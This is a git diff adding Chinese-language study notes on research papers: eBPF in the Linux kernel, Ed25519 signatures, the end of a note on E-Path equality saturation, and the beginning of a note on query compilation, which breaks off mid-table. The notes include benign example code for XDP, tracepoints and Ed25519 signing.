+参考答案(先自己想) + +1. 避免破坏性改写导致**无法回溯**其他优化路径,缓解 **pass 顺序敏感**。 +2. e-class 合并**表达式**;E-Sequence 合并**基本块指令序列(含控制结构编码)**。 +3. 保留多版本才能在提取时**全局比较成本**;原地改写会丢失未外提布局。 +4. 传统 pass **每步局部提交**;E-Path **延迟提交**到饱和后一次性选全局最优 CFG 变体。 +5. 纯代数、无控制流改写的表达式优化仍更适合 **E-Graph**;E-Path 针对 **CFG 级**变换。 + +
+ +--- + +## 参考 + +- Guillermo Garcia, *E-Path: Equality Saturation for Control-Flow Graphs*, arXiv:2605.28694, 2026. [https://arxiv.org/abs/2605.28694](https://arxiv.org/abs/2605.28694) +- Ross Tate et al., *Equality Saturation: A New Approach to Optimization*, POPL 2009. +- Max Willsey et al., *egg: Fast and Extensible Equality Saturation*, POPL 2021. +- Ron Cytron et al., *Efficiently Computing SSA…*, TOPLAS 1991 — 见本站 [[ssa]]。 +- Nico Reissmann et al., *RVSDG: An Intermediate Representation for Optimizing Compilers*, TECS 2020. diff --git a/src/content/docs/papers/ebpf-linux-runtime-2024.md b/src/content/docs/papers/ebpf-linux-runtime-2024.md new file mode 100644 index 000000000..222efcacc --- /dev/null +++ b/src/content/docs/papers/ebpf-linux-runtime-2024.md @@ -0,0 +1,302 @@ +--- +title: The eBPF Runtime in the Linux Kernel — Linux 内核可编程运行时零基础导读 +来源: https://arxiv.org/abs/2410.00026 +日期: 2026-06-13 +分类: 操作系统 +子分类: 内核与虚拟化 +provenance: pipeline-v3 +--- + +## 先想成什么事 + +想象 Linux 内核是一座**戒备森严的政府大楼**: + +- 普通应用只能在大厅(用户态)办事,**不能随便改大楼内部的线路和规则**。 +- 传统做法是写**内核模块**——相当于雇施工队砸墙改管线:能力强,但改错一根线整栋楼停电(内核 panic),而且每次升级大楼都要重新审批施工方案。 +- 另一派做法是**绕过内核**(DPDK、用户态网络栈):在大楼外面搭临时工棚,性能极高,但失去了大楼原有的安保、水电分摊和统一管理。 + +**eBPF** 的做法是:在大楼里装一套**带安检的临时工位系统**—— + +1. 你在用户态写好一份「微型脚本」(eBPF 程序); +2. 加载时必须经过**安检仪**(verifier)静态分析,证明你不会越权、不会死循环、不会乱碰内存; +3. 通过后由 **JIT** 翻译成原生机器码,挂到内核预设的**事件挂钩**(hook)上; +4. 事件发生时(收包、系统调用、函数入口……)你的脚本在**内核态**以接近原生的速度跑一小段逻辑,然后交还给原有内核流程。 + +论文作者(Gbadamosi、Leonardi、Pulls、Høiland-Jørgensen 等,基于 **Linux 6.7**,2024 年 9 月 arXiv)称:这是**第一篇**系统描述 Linux 内核 eBPF 运行时设计与实现的综述,覆盖从加载、验证、JIT 到典型用例与开放挑战。 + +> 论文澄清了一个常见误解:**eBPF 的设计并非直接继承 Classic BPF**,名字只是为了熟悉感;它是一套面向通用内核可编程的寄存器虚拟机。 + +## 为什么需要 eBPF + +### 直接改内核的痛点 + +| 问题 | 具体表现 | +|------|----------| +| 开发与调试难 | 内核代码库庞大,改一行要懂子系统全局 | +| 部署成本高 | 换内核要重启机器,冷启动、回归测试,车队 rollout 以周/月计 | +| 稳定性风险 | bug 直接导致整机崩溃,生产直接等于宕机 | +| API 不稳定 | 未上游化的补丁每次内核升级都要 forward-port | + +### 绕过内核的代价 + +Kernel bypass(如专用 poll 模式网卡驱动)和 library OS 能把性能榨到极致,但通常需要**独占硬件**、**重写应用**,且多工作负载**难以共享**同一台机器——对跑在 Linux 上的大规模生产 fleet 并不总是可接受。 + +### eBPF 的定位 + +论文概括为三条设计原则: + +1. **安全、动态的内核定制** —— 在虚拟机沙箱里改行为,不破坏内核完整性; +2. **快速部署与迭代** —— `bpf()` 加载/卸载,无需 reboot; +3. **与内核协同** —— 可以 fallback 到原有内核逻辑,不必整段重写网络栈或调度器。 + +eBPF 自 **Linux 3.18(2014)** 合入主线,到 6.7 已支撑网络、追踪、安全、调度等整条产品线。 + +## 核心概念 + +### 1. eBPF 虚拟机与字节码 + +eBPF 是一套**抽象虚拟机** + **64 位指令集**(算术、跳转、load/store、原子操作、函数调用): + +- **11 个 64 位寄存器** `r0`–`r10`,其中 `r10` 只读、指向栈顶; +- 固定大小栈; +- 程序由若干 **subprog**(类似函数)组成,从 main subprog 开始执行。 + +指令集刻意**贴近真实硬件 ISA**,方便 JIT 做接近 1:1 的翻译,也让 LLVM 后端能生成高效字节码。 + +### 2. 运行时组件(论文 Figure 1) + +```text +用户态 内核态 +───────── ───────────────────────────────── +C/Rust 源码 ──clang──► .o (BPF ELF) + │ │ +libbpf/bpftool ──bpf()──► Verifier ──► JIT/解释器 + │ │ │ + │ ▼ ▼ + └── map fd ◄────── Maps ◄────── Hook 触发执行 +``` + +| 组件 | 作用 | +|------|------| +| **用户态 Loader**(libbpf、BCC、bpftool) | 编译、解析 ELF、调用 `bpf(BPF_PROG_LOAD)` | +| **Verifier** | 加载前静态分析,拒绝不安全程序 | +| **JIT / 解释器** | 验证通过后翻译为机器码(无 JIT 时解释执行) | +| **Hooks** | 挂载点:XDP、tracepoint、kprobe、LSM、cgroup…… | +| **Program Type** | 决定可用 helper、上下文结构、合法挂载点 | +| **Helpers** | 内核提供的「系统调用」,如打日志、改包、查 map | +| **Maps** | 内核与用户态、程序与程序之间的共享数据结构 | +| **Links** | 把程序挂载与 fd 生命周期绑定,进程退出后 probe 仍可存活 | +| **BTF** | 紧凑类型信息,供 verifier 做类型检查 + CO-RE 重定位 | + +### 3. 对象生命周期 + +每个 eBPF 对象(program、map、link)在内核有对应表示,通过 **fd** 暴露给用户态: + +- 最后一个 fd 关闭 → 内核释放对象; +- 可 **pin** 到 `bpffs` 伪文件系统 → 跨进程持久化。 + +### 4. BTF 与 CO-RE + +**BPF Type Format (BTF)** 是专为 eBPF 设计的调试/类型格式,比 DWARF 紧凑一个数量级,因此可以**随内核和程序一起发布**。 + +**CO-RE(Compile Once – Run Everywhere)** 利用 BTF 在加载时解析结构体字段偏移、内核配置项,使**同一份编译产物**能在不同内核版本上运行——无需为每个目标内核重新编译。 + +### 5. Verifier:四道关卡 + +论文将验证分为四个 major pass: + +| Pass | 内容 | +|------|------| +| 1. CFG 校验 | DFS 遍历控制流图,禁止无法证明终止的循环、不可达指令 | +| 2. 符号执行 | 逐路径追踪寄存器/栈的类型与边界,强制内存/资源/类型安全 | +| 3. 优化与改写 | 死代码消除、helper 内联(如 map 访问特化) | +| 4. JIT | 生成只读可执行镜像,可选 constant blinding 防 JIT spraying | + +**State pruning**(借鉴 RWSet 思想)在分支爆炸时剪枝等价状态,否则稍大的程序就会撞上「指令复杂度上限」。 + +### 6. 安全属性(论文 §5) + +Verifier 力求保证: + +- **内存安全** —— 无越界、无任意指针解引用、无 UAF; +- **类型安全** —— 借助 BTF 校验内核结构体访问; +- **资源安全** —— 退出前释放内存、锁、引用计数; +- **信息泄漏安全** —— 内核指针不能泄露到用户可见区域; +- **无数据竞争**(对内核状态)—— 通过 helper 同步; +- **可终止** —— 复杂度上限 + 有界循环展开; +- **无死锁** —— 同一时刻最多持有一把 bpf spinlock; +- **执行上下文不变量** —— 不破坏 hook 所在内核代码的假设。 + +### 7. 典型工作流(论文 Figure 3) + +1. **S1** 用 C 写程序(带 `SEC("xdp")` 等段属性); +2. **S2** `clang -target bpf` 编译成 BPF ELF; +3. **S3–S4** libbpf/bpftool 经 `BPF_PROG_LOAD` 提交,verifier + JIT; +4. **S5** `BPF_LINK_CREATE` 挂到网卡 XDP 等 hook; +5. 事件触发执行;**S6–S7** 关闭 link/program fd 卸载。 + +## 代码示例一:XDP 丢弃 UDP(论文 Listing 1) + +下面这段与论文中的 XDP 示例同构——在网卡驱动层收到包时,丢弃所有 **IPv4 UDP** 流量,其余 `XDP_PASS`: + +```c +#include +#include +#include +#include +#include + +SEC("xdp") +int bpf_program(struct xdp_md *ctx) +{ + void *data_end = (void *)(long)ctx->data_end; + void *data = (void *)(long)ctx->data; + + struct ethhdr *eth = data; + /* verifier 要求:每次指针运算前比较边界 */ + if (eth + 1 > data_end) + return XDP_PASS; + + if (eth->h_proto != bpf_htons(ETH_P_IP)) + return XDP_PASS; + + struct iphdr *iph = (void *)(eth + 1); + if (iph + 1 > data_end) + return XDP_PASS; + + if (iph->protocol == IPPROTO_UDP) + return XDP_DROP; + + return XDP_PASS; +} + +char _license[] SEC("license") = "GPL"; +``` + +**零基础要盯住的点:** + +- `data` / `data_end` 界定包缓冲区;`if (ptr + 1 > data_end)` 是 **verifier 能证明安全** 的标准写法; +- `SEC("xdp")` 告诉 loader 这是 XDP 程序类型; +- 返回值 `XDP_DROP` / `XDP_PASS` 决定包命运。 + +加载与挂载(现代 libbpf 风格,概念示意): + +```bash +clang -O2 -g -target bpf -c xdp_drop_udp.c -o xdp_drop_udp.o +bpftool prog load xdp_drop_udp.o /sys/fs/bpf/xdp_drop_udp +bpftool net attach xdp id dev eth0 +``` + +## 代码示例二:tracepoint + map 统计 syscall + +第二个例子展示 **tracing** 与 **map** 协作——统计 `execve` 次数,用户态定期读取: + +```c +/* trace_execve.bpf.c */ +#include +#include +#include + +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, 1); + __type(key, __u32); + __type(value, __u64); +} exec_count SEC(".maps"); + +SEC("tracepoint/syscalls/sys_enter_execve") +int trace_execve(void *ctx) +{ + __u32 key = 0; + __u64 *val = bpf_map_lookup_elem(&exec_count, &key); + if (val) + __sync_fetch_and_add(val, 1); + return 0; +} + +char _license[] SEC("license") = "GPL"; +``` + +用户态读取(libbpf skeleton 或 bpftool): + +```c +/* 简化示意:map fd 由 loader 打开 */ +int map_fd = bpf_obj_get("/sys/fs/bpf/exec_count"); +__u32 key = 0; +__u64 count = 0; +bpf_map_lookup_elem(map_fd, &key, &count); +printf("execve count: %llu\n", count); +``` + +这里体现了论文强调的 **Maps 作为用户态/内核态数据交换通道**,以及 **tracepoint hook** 的低开销观测能力。 + +## 主要应用场景(论文 §10) + +| 领域 | 代表能力 | +|------|----------| +| **网络** | XDP/TC 高性能包处理、sk_lookup、reuseport 选型、cgroup 策略、自定义拥塞控制 | +| **Profiling** | perf 事件 + 栈采样,Cilium/Pixie 等连续剖析 | +| **Tracing** | kprobe/tracepoint 访问函数参数,bcc/bpftrace 生态 | +| **安全** | LSM BPF 可编程强制访问控制、审计 | +| **新兴** | HID-BPF 驱动片段、SCHED_EXT/ghOSt 可编程调度、XRP 存储加速 | + +Cloudflare、Cilium、Meta、Google 等已将 eBPF 用于 DDoS 清洗、Kubernetes 网络策略、生产级可观测和安全基线。 + +## 与「改内核 / 绕过内核」的对比 + +```text + 安全性 部署速度 性能 与内核集成 +内核模块 低 慢 高 深 +Kernel bypass 中 中 极高 弱 +eBPF 高 快 高 深(可 fallback) +``` + +eBPF 不是要取代内核子系统,而是让你在**不重启、不 fork 内核源码**的前提下,把策略和观测逻辑「插」在关键路径上。 + +## 挑战与未来方向(论文 §11) + +1. **易用性** —— hook 选型门槛高,文档与工具链仍在快速演进; +2. **Verifier 可扩展性** —— 循环体带分支时路径爆炸,复杂程序常被拒; +3. **Verifier 正确性** —— 实现庞大、变更频繁,逻辑 bug 可能放过恶意程序; +4. **形式化验证** —— 数值域、JIT 正确性已有部分工作,全 verifier 形式化仍是开放问题; +5. **安全模型** —— 非特权 eBPF 默认关闭;`CAP_BPF` 细化了权限,但许多程序类型仍需 `CAP_NET_ADMIN` 等; +6. **代码复用** —— 有 CO-RE,但跨文件静态/动态库支持仍弱。 + +## 学习路径建议 + +1. **先跑起来**:`bpftrace -e 'tracepoint:syscalls:sys_enter_execve { @[comm] = count(); }'` 感受零编译观测; +2. **读内核文档**:[BPF 文档](https://docs.kernel.org/bpf/index.html)、[bpf-helpers(7)](https://man7.org/linux/man-pages/man7/bpf-helpers.7.html); +3. **用 libbpf + CO-RE**:`clang -target bpf -g` 生成带 BTF 的 `.o`,`bpftool btf dump` 查看类型; +4. **对照论文 Figure 1–5** 理解 verifier → JIT 流水线; +5. **选一个垂直深入**:网络从 XDP 开始,观测从 tracepoint 开始,安全从 LSM BPF 开始。 + +## 关键术语速查 + +| 术语 | 一句话 | +|------|--------| +| eBPF | 内核内的安全可编程虚拟机运行时 | +| Verifier | 加载前静态分析器,安全守门人 | +| JIT | 把字节码编译为原生指令 | +| Hook | 程序被事件触发执行的挂载点 | +| Map | 内核与用户态共享的 KV/数组等结构 | +| BTF | 紧凑类型/debug 信息格式 | +| CO-RE | 一次编译、多内核版本加载 | +| XDP | 网卡驱动层最早的可编程包处理点 | +| libbpf | 官方推荐的用户态加载库 | + +## 总结 + +这篇论文的价值在于:把散落在内核源码、邮件列表和各类 slide 里的 eBPF 知识,**第一次**整理成从虚拟机模型、对象生命周期、verifier 四 pass、JIT hardening 到生产用例的完整地图。对零基础读者,抓住三条线就够了: + +1. **编程模型** —— C/Rust → BPF 字节码 → verifier → JIT → hook; +2. **安全模型** —— 不是「信任开发者」,而是「证明器必须接受才运行」; +3. **工程模型** —— 与内核共生、热加载、CO-RE 跨版本,而不是另起炉灶。 + +eBPF 让 Linux 从「只能调旋钮的内核」变成「带安检的可编程内核」——理解这套运行时,是读懂现代云原生网络、可观测性和内核安全产品的钥匙。 + +## 参考 + +- 论文:[arXiv:2410.00026](https://arxiv.org/abs/2410.00026)(v2,2024-10) +- DOI:[10.48550/arXiv.2410.00026](https://doi.org/10.48550/arXiv.2410.00026) +- 内核文档:[eBPF 子系统](https://docs.kernel.org/bpf/index.html) +- 指令集规范:[eBPF ISA](https://docs.kernel.org/bpf/standardization/isa.html) diff --git a/src/content/docs/papers/ed25519-2011.md b/src/content/docs/papers/ed25519-2011.md new file mode 100644 index 000000000..36156d3f8 --- /dev/null +++ b/src/content/docs/papers/ed25519-2011.md @@ -0,0 +1,248 @@ +--- +title: Ed25519 (2011) — 高速高安全的椭圆曲线数字签名 +来源: https://ed25519.cr.yp.to/ed25519-20110926.pdf +日期: 2026-06-13 +分类: 安全与隐私 +子分类: 安全与隐私 +难度: 中级 +provenance: pipeline-v3 +--- + +## 是什么 + +**Ed25519** 是 Daniel J. Bernstein、Niels Duif、Tanja Lange、Peter Schwabe、Bo-Yin Yang 在 2011 年论文 *High-speed high-security signatures* 中提出并工程化的**公钥数字签名方案**。名字拆开看:**Ed** = Edwards 曲线上的 **DSA** 风格签名;**25519** = 底层曲线与 [[curve25519-2006]] 同源、工作在素数域 \(\mathbb{F}_{2^{255}-19}\) 上。完整参数记作 **Ed25519-SHA-512**:哈希用 SHA-512,公钥 32 字节,签名 64 字节,安全目标约 \(2^{128}\)。 + +日常类比: + +> 想象你在合同上盖章。传统 RSA 像一把**巨型铜印**——印泥厚、盖一下慢、印模又大(密钥和签名都长),但全世界都认得这种章。ECDSA 像**手工刻的私章**——小巧一些,可刻章师若手抖(随机数 \(k\) 泄露)或印泥配方写错(nonce 重用),别人能仿造你的章。 +> **Ed25519** 则像工厂里的**标准化激光刻章机**:章面只有 32 字节「公钥图案」,盖出来固定 64 字节;刻章机按消息内容**确定性**算出图案,不依赖每次重新摇骰子;验章的人用公开说明书(曲线方程 + 哈希规则)几微秒就能验真,而且机器内部**从不根据秘密数据选不同工序**——旁路偷看流水线也猜不出私钥。 + +论文在 2011 年 Westmere 四核 CPU 上实测:签名约 **10.9 万次/秒**,验签约 **7.1 万次/秒**;批量验 64 条签名时摊到每条不到 **13.4 万周期**。这些数字在发表时把 eBATS 基准里绝大多数 RSA、DSA、ECDSA 实现甩开一倍以上,同时把**软件侧信道防护**写进设计而非事后补丁。 + +## 为什么重要 + +不理解 Ed25519,现代「轻量签名」生态很难读透: + +- **SSH**:OpenSSH 6.5+ 默认推荐 `ssh-ed25519` 主机与用户密钥 +- **TLS 1.3**:IANA 注册 `signature_ed25519`(0x0807),与 ECDSA、RSA-PSS 并列 +- **Git / 供应链**:Git 2.19+ 支持 `git commit -S` 用 Ed25519;Sigstore、cosign 常用 Ed25519 签容器镜像 +- **加密货币与协议**:不在链上直接用,但 Monero 等用 Ed25519 变体;Noise、WireGuard、libsodium/NaCl 把 Ed25519 当默认身份原语 +- **后量子过渡期**:短密钥、快验签、实现简单,在 NIST 后量子签名普及前是**默认的「非 RSA」选择** + +与 [[rsa-1978]]、[[rsa]] 相比:Ed25519 不依赖大整数分解;与 NIST P-256 ECDSA 相比:签名格式唯一(无 DER 歧义)、确定性 nonce(无 Sony PS3 式灾难)、原生抗哈希碰撞传递攻击。 + +## 论文与 EdDSA 族 + +论文定义了一般框架 **EdDSA**(Edwards-curve Digital Signature Algorithm),再固定一组参数得到 **Ed25519**: + +| 参数 | Ed25519 取值 | +|------|----------------| +| 位长 \(b\) | 256 | +| 哈希 \(H\) | SHA-512 | +| 域 | \(\mathbb{F}_q\),\(q = 2^{255} - 19\) | +| 曲线 | twisted Edwards:\(-x^2 + y^2 = 1 + dx^2y^2\),\(d = -121665/121666\) | +| 基点 \(B\) | 与 Curve25519 双有理等价的那条曲线上的规范点 | +| 子群阶 \(\ell\) | 接近 \(2^{252}\) 的素数(见论文与 [ed25519.cr.yp.to](https://ed25519.cr.yp.to/)) | + +曲线与 Curve25519 **双有理等价**,故椭圆曲线离散对数(ECDLP)难度与 Bernstein 2006 年分析的 Curve25519 同源——选曲线不是拍脑袋,而是把已有安全假设搬过来。 + +## 核心概念 + +### 1. 密钥长什么样 + +- **私钥**:\(b\) 位字符串 \(k\)(256 位随机,或从种子扩展) +- **公钥**:\(A = aB\),其中 \(a = H(k)\) 经裁剪与解释成标量(实现里常先算 \(h = H(k)\),用 \(h\) 的派生片段作 \(a\)) +- **编码**:公钥 32 字节 little-endian \(y\) 坐标 + 符号位;签名 64 字节 = \(R\) 的编码 \(\|\) \(S\) 的 little-endian 编码 + +密钥生成几乎与签名同速——论文报告约 **93288 周期**生成一对密钥(另加 OS 随机数开销)。 + +### 2. 签名(Signing) + +对消息 \(M\): + +1. 由私钥导出秘密标量 \(a\) 与前缀 \(h_{\text{prefix}}\)(实现细节见 RFC 8032,与论文一致 spirit) +2. 计算 \(r = H(h_{\text{prefix}} \,\|\, M)\),解释成标量 +3. \(R = rB\)(基点标量乘) +4. \(S = r + H(R \,\|\, A \,\|\, M) \cdot a \pmod \ell\) +5. 输出 \((R, S)\) 的压缩编码 + +**确定性 \(r\)**:同一 \((k, M)\) 永远得到同一签名——不调用 `random()` 生成 nonce。这消除 ECDSA 因 \(k\) 泄露或重用(PlayStation 3、Android Bitcoin 钱包等)导致私钥被恢复的经典坑。 + +**哈希进入挑战**:挑战是 \(H(R, A, M)\),不是 \(H(M)\) alone。因此即使 SHA-512 出现碰撞 \(M \neq M'\) 且 \(H(M)=H(M')\),攻击者仍难以完成 \(H(R,A,M)=H(R,A,M')\) 的第二次原像式伪造——论文称为 **collision resilience**。 + +### 3. 验签(Verification) + +给定 \((R, S)\)、公钥 \(A\)、消息 \(M\): + +1. 检查 \(R\)、\(S\) 在合法范围内(\(S < \ell\),\(R\) 在曲线上) +2. 计算 \(h = H(R \,\|\, A \,\|\, M)\) +3. 验证 \(SB = R + hA\)(椭圆曲线多标量乘) + +验证只做**加法链**,私钥从不出现;实现可用 Straus / Bos–Coster 做多标量乘,论文单签约 **273364 周期**。 + +### 4. 批量验证(Batch Verification) + +验签方程 \(SB = R + hA\) 可对多条签名做随机线性组合,一次多标量乘验一批——摊销后每条签名周期数可降到 **13 万以下**。代价是:**ECDSA 的验签方程结构不支持**这种廉价批处理,这是 EdDSA 族在 CDN、区块链轻客户端、日志审计等场景的结构性优势。 + +### 5. 侧信道防护(论文核心卖点之一) + +论文要求参考实现满足: + +- **无秘密数组下标**:访存地址不依赖私钥比特 → 抗 cache-timing +- **无秘密分支**:跳转模式不依赖私钥 → 抗分支预测泄漏 + +这与「先快后补洞」的 OpenSSL ECDSA 形成对比。现代 libsodium、ref10、HACL\* 等库延续这一传统(见 [[hacl-star-2017]])。 + +## 与 RSA / ECDSA 对照 + +| 维度 | RSA-2048 | ECDSA P-256 | Ed25519 | +|------|----------|-------------|---------| +| 公钥大小 | 256+ 字节 | 33 字节(压缩) | **32 字节** | +| 签名大小 | 256 字节 | 64–72 字节(DER 可变) | **64 字节固定** | +| 签名速度 | 慢 | 中等 | **很快** | +| 验签速度 | 中等 | 中等 | **很快** | +| Nonce | 不适用 | **必须高质量随机 \(k\)** | **确定性,无需随机 \(k\)** | +| 编码歧义 | PKCS#1 v1.5 坑 | DER 非唯一 | **规范编码** | +| 哈希碰撞 | 影响签名安全 | \(H(M)\) 碰撞可伪造 | **设计层缓解** | + +## 代码示例 + +### 示例 1:Python(`cryptography` 库) + +```python +from cryptography.hazmat.primitives.asymmetric.ed25519 import ( + Ed25519PrivateKey, +) +from cryptography.hazmat.primitives import serialization + +# 生成密钥对 +private_key = Ed25519PrivateKey.generate() +public_key = private_key.public_key() + +# 导出 PEM(可选,便于存盘) +priv_pem = private_key.private_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PrivateFormat.PKCS8, + encryption_algorithm=serialization.NoEncryption(), +) +pub_pem = public_key.public_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PublicFormat.SubjectPublicKeyInfo, +) + +message = b"study note: Ed25519 signs this payload" + +# 签名:内部即 Ed25519-SHA-512,确定性 +signature = private_key.sign(message) +assert len(signature) == 64 + +# 验签 +public_key.verify(signature, message) # 失败会抛 InvalidSignature + +# 篡改一字节即失败 +try: + public_key.verify(signature[:-1] + bytes([signature[-1] ^ 1]), message) +except Exception as e: + print("tamper detected:", type(e).__name__) +``` + +同一私钥、同一消息,多次 `sign` 得到**完全相同**的 64 字节——这是与 ECDSA 最直观的 API 层差异。 + +### 示例 2:Node.js(`crypto` 内置) + +```javascript +import { generateKeyPairSync, sign, verify, createPublicKey } from "node:crypto"; + +const { privateKey, publicKey } = generateKeyPairSync("ed25519"); + +const data = Buffer.from("pipeline-v3 ed25519 note", "utf8"); + +const sig = sign(null, data, privateKey); +console.log("signature length:", sig.length); // 64 + +const ok = verify(null, data, publicKey, sig); +console.log("verify:", ok); // true + +// 从私钥导出公钥对象(验签方通常只持 publicKey) +const derivedPub = createPublicKey(privateKey); +console.log( + "keys match:", + derivedPub.export({ type: "spki", format: "der" }).equals( + publicKey.export({ type: "spki", format: "der" }) + ) +); +``` + +生产环境应把私钥放在 HSM、云 KMS 或至少权限受限的文件里;上面片段仅演示算法接口。 + +### 示例 3:OpenSSH 命令行(零代码上手) + +```bash +# 生成 Ed25519 主机/用户密钥(默认已广泛支持) +ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "me@study" + +# 查看公钥(32 字节 raw → base64 在 OpenSSH 格式里) +cat ~/.ssh/id_ed25519.pub +# ssh-ed25519 AAAAC3Nza... me@study + +# 用该密钥登录(服务端需配置 authorized_keys) +ssh -i ~/.ssh/id_ed25519 user@host +``` + +`ssh-ed25519` 类型字符串后的 blob 即 Ed25519 公钥的 SSH 编码,与论文 32 字节公钥一一对应(外加类型前缀与 comment)。 + +## 签名方程一览(便于手推) + +设基点 \(B\),私钥标量 \(a\),公钥 \(A=aB\)。签名时: + +\[ +r = H(h_{\text{prefix}}, M) \bmod \ell,\quad R = rB,\quad S \equiv r + H(R,A,M)\,a \pmod \ell +\] + +验签: + +\[ +SB \stackrel{?}{=} R + H(R,A,M)\,A +\] + +若成立,则 \(S B = rB + h a B = R + hA\)。全程只需标准群运算与 SHA-512——**没有模 \(n\) 的求逆、没有 DER 拼装**。 + +## 标准与实现地图 + +| 文档 / 项目 | 说明 | +|-------------|------| +| 原论文 PDF | [ed25519-20110926.pdf](https://ed25519.cr.yp.to/ed25519-20110926.pdf) | +| 期刊版 | *Journal of Cryptographic Engineering* 2 (2012), 77–89 | +| **RFC 8032** | IETF 标准 EdDSA,含 Ed25519 测试向量 | +| **libsodium** / NaCl | `crypto_sign_ed25519`,论文作者生态的参考实现 | +| **RFC 8410** | PKIX 中 Ed25519 公钥编码 | +| **OpenSSH / OpenSSL 3** | 生产部署最常用入口 | + +读 RFC 8032 时以论文为「为什么这样设计」,以 RFC 为「字节级互操作规范」。 + +## 踩过的坑 + +1. **把 Ed25519 当 X25519 用**:Curve25519 是 Montgomery 形做 DH([[curve25519-2006]]);Ed25519 是 Edwards 形做签名。公钥编码不同,**不能**把 DH 公钥直接当验签公钥,需用标准转换(libsodium `crypto_sign_ed25519_sk_to_pk` 等)。 +2. **私钥 64 字节 vs 32 字节种子**:libsodium 的 `secretkey` 常是 64 字节(seed \(\|\) pubkey);只存前 32 字节 seed 即可重建,但备份格式要一致。 +3. **上下文(context)扩展**:Ed25519 ctx(RFC 8032)在 \(H\) 输入里加域分离字符串;与「纯」Ed25519 不互通,库需显式选 `Ed25519ph` / `Ed25519ctx`。 +4. **批量验签的随机数**:批验用随机系数组合方程,实现必须用密码学安全随机,且失败时要有回退单条验签。 +5. **合规话术**:「128 位安全」指经典攻击模型;**量子计算机**上 Shor 类算法仍威胁离散对数——长期身份密钥需规划向 ML-DSA(CRYSTALS-Dilithium)等迁移,Ed25519 是当下工程默认,不是终极答案。 + +## 与知识图谱的衔接 + +- **前置**:[[diffie-hellman]](公钥范式)、[[rsa-1978]](签名语义)、[[curve25519-2006]](同源曲线) +- **并列**:[[hkdf-rfc5869]](派生密钥,不替代签名)、[[noise-protocol-framework]](握手里常用 Ed25519 身份) +- **实现向**:[[hacl-star-2017]](验证过的 Curve25519/Ed25519 算术) + +## 小结 + +Ed25519 把 Edwards 曲线、确定性 nonce、哈希挑战格式和常数时间实现绑成**一套短密钥、短签名、快慢验、默认可互操作**的方案。论文的贡献不仅是「又一条椭圆曲线」,而是证明:**在 128 位经典安全级别上,签名可以比 RSA/ECDSA 小得多、快得多,同时把侧信道与随机数失败模式从设计上拿掉**。今天你在 SSH、Git、TLS、容器签名里看到的 `ed25519`,基本都是这篇 2011 年工作的工程后代。 + +--- + +## 参考资料 + +- Bernstein, Duif, Lange, Schwabe, Yang, *High-speed high-security signatures*, 2011. https://ed25519.cr.yp.to/ed25519-20110926.pdf +- 项目主页与性能数据:https://ed25519.cr.yp.to/ +- IETF RFC 8032: Edwards-Curve Digital Signature Algorithm (EdDSA) +- eBATS 基准(论文周期数来源):https://bench.cr.yp.to/ diff --git a/src/content/docs/papers/efficient-compile-2011.md b/src/content/docs/papers/efficient-compile-2011.md new file mode 100644 index 000000000..ec9aaf1fd --- /dev/null +++ b/src/content/docs/papers/efficient-compile-2011.md @@ -0,0 +1,320 @@ +--- +title: Efficiently Compiling Efficient Query Plans for Modern Hardware — 面向现代 CPU 的查询编译 +来源: https://www.vldb.org/pvldb/vol4/p539-neumann.pdf +日期: 2026-06-13 +分类: 数据库 +子分类: 存储与查询 +provenance: pipeline-v3 +--- + +## 从日常类比开始:流水线 vs 现做现炒 + +想象一家大型**中央厨房**要处理成千上万份订单(SQL 查询)。 + +**老式 Volcano(火山/迭代器)模型**像每条产线都设一个「中转站管理员」: + +- 每做好**一份菜**(一行 tuple),管理员就打电话问上游「下一道是什么?」——对应 `Next()` 虚函数调用; +- 电话要打**几百万次**,而且对方号码还经常变(函数指针),CPU 分支预测器猜不准; +- 每转一站,案板上的食材(寄存器里的列值)就被清空,下次还得重新从仓库(内存)搬——**局部性极差**。 + +**批处理 / 向量化**模型像改成「一次端出一托盘」:电话少打了,但托盘太大,放不进灶台(寄存器),只好先堆在临时货架上——**流水线(pipelining)断了**,内存带宽压力上来。 + +Neumann 在 VLDB 2011 这篇论文里提出第三条路:**把整张订单编译成一段「现做现炒」的专用机器码**—— + +- 食材在寄存器里一路传递,直到必须「装盘」(pipeline breaker 物化)才写内存; +- 数据**推(push)**向消费者,而不是算子**拉(pull)**; +- 用 **LLVM JIT** 在毫秒级生成接近手写 C++ 性能的本地代码。 + +这套思路集成在 TUM **HyPer** 内存数据库中,后来深刻影响了 Umbra、DuckDB、Hyper/Tableau 等系统的执行引擎设计。 + +--- + +## 这篇论文在解决什么问题 + +### 1. 内存够大了,瓶颈回到 CPU + +当数据能放进主存,查询耗时不再由磁盘 I/O 主导,而是 **CPU 怎么算** 主导。Volcano 模型诞生于 I/O 时代,其「每行一次虚调用」的开销在内存数据库里变得不可接受。 + +### 2. 向量化仍输给手写代码 + +MonetDB/X100(后来的 VectorWise)用向量批处理大幅提速,但论文引用 Figure 1 表明:对 TPC-H Q1 这类简单聚合,**手写 C++ 仍明显更快**——说明现有执行模型在「把数据留在寄存器里」这件事上还有根本差距。 + +### 3. 查询编译不是新概念,但旧路有坑 + +| 方案 | 问题 | +|------|------| +| 编译成 JVM 字节码(IBM 等) | 仍用迭代器模型,收益有限 | +| 编译成 C 再调 gcc(HIQUE 等) | **编译秒级**,交互式查询不可接受 | +| HyPer 早期:拼接 C++ 代码片段 | 性能尚可,但 gcc 编译慢、代码生成易错 | + +论文的核心主张:**代数计划仍然用于优化与推理,但执行时不应再暴露算子边界**——而应编译成 **data-centric(以数据为中心)** 的 imperative 程序。 + +--- + +## 核心概念 + +### 1. Volcano / Iterator 模型(对照组) + +每个物理算子实现 `open` / `next` / `close`,上层反复 `next()` 拉取下一行: + +- 优点:组合任意算子、逻辑清晰(System R 传统)。 +- 缺点:每 tuple 跨函数边界;虚调用 / 函数指针;中间状态散落,**cache 与分支预测**双输。 + +### 2. Pipeline Breaker(流水线断点) + +论文采用比常规定义**更严格**的 pipeline breaker: + +> 若算子把传入 tuple **赶出 CPU 寄存器**(通常意味着物化到内存),则对该输入侧是 breaker;若**全部物化**后再继续,则是 **full pipeline breaker**。 + +目标:**在两个 breaker 之间,tuple 尽量只活在寄存器里**,热路径是纯 tight loop。 + +典型 breaker:Hash Join 的 build 侧、Sort、Group By 哈希表构建等。 + +### 3. Push vs Pull + +| | Pull(Volcano) | Push(本文) | +|---|----------------|--------------| +| 控制流 | 